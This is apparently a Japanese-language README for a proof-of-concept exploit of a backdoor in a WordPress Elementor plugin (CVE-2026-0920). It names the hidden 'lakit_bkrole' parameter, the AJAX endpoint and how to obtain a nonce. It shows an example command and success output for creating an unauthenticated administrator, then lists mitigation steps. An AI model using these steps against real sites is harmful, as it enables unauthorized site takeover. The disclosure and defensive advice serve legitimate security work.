john-doe-code-a11/cve-2026-0920LA-Studio Element WordPressプラグインの最近の脆弱性の説明とペイロード。
LA-Studio Element Kit for Elementor（バージョン ≤ 1.5.6.3）で発見された重大なバックドアに関する技術分析と概念実証（PoC）。この脆弱性により、認証なしでの管理者アカウント作成が可能になります。
元従業員によって ajax_register_handle 関数に意図的にバックドアが挿入されており、登録時に隠しパラメータを使用してユーザー権限を昇格させることができます。
脆弱性の種類: 不適切な認可 / 意図的なバックドア。
対象関数: ajax_register_handle。
バックドアパラメータ: lakit_bkrole。
影響: サイト全体の乗っ取り。
主な要件:
有効な WordPress AJAX nonce（_nonce）。
lakit_bkrole パラメータが administrator に設定されていること。
Nonce の取得: 正規の登録リクエストを傍受するか、ページソースを検査して lakit_ajax アクションの _nonce を見つけます。
エクスプロイトの実行: ターゲット URL、取得した nonce、および任意の認証情報を指定して Python スクリプトを実行します。
コマンド例:
python CVE-2026-0920.py -u https://spoilhouses.s2-tastewp.com -n b935edabf2 -ua "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" --user "john_admin" --passw "ComplexPass123"
ターミナル出力:
Plaintext SUCCESS: john_admin created.
結果: 新しいユーザー john_admin が、Administrator プロファイルを持つ WordPress ユーザーパネルに表示されます。
傍受されたリクエストから、バックドアがどのようにトリガーされるかが明らかになります:
エンドポイント: /wp-admin/admin-ajax.php。
アクション: lakit_ajax。
悪意のあるデータ: actions パラメータ内の JSON 文字列には "lakit_bkrole":"administrator" が明示的に含まれており、プラグインはこれを処理してサイト全体の権限を付与します。
🛠️ 緩和策 更新: 直ちに v1.6.0 へアップグレードしてください。
監査: wp_users テーブルを確認し、john_admin など最近作成された不正な管理者がいないか確認してください。
クリーンアップ: 見つかった不審なアカウントを削除し、すべての正規の管理者パスワードをローテーションしてください。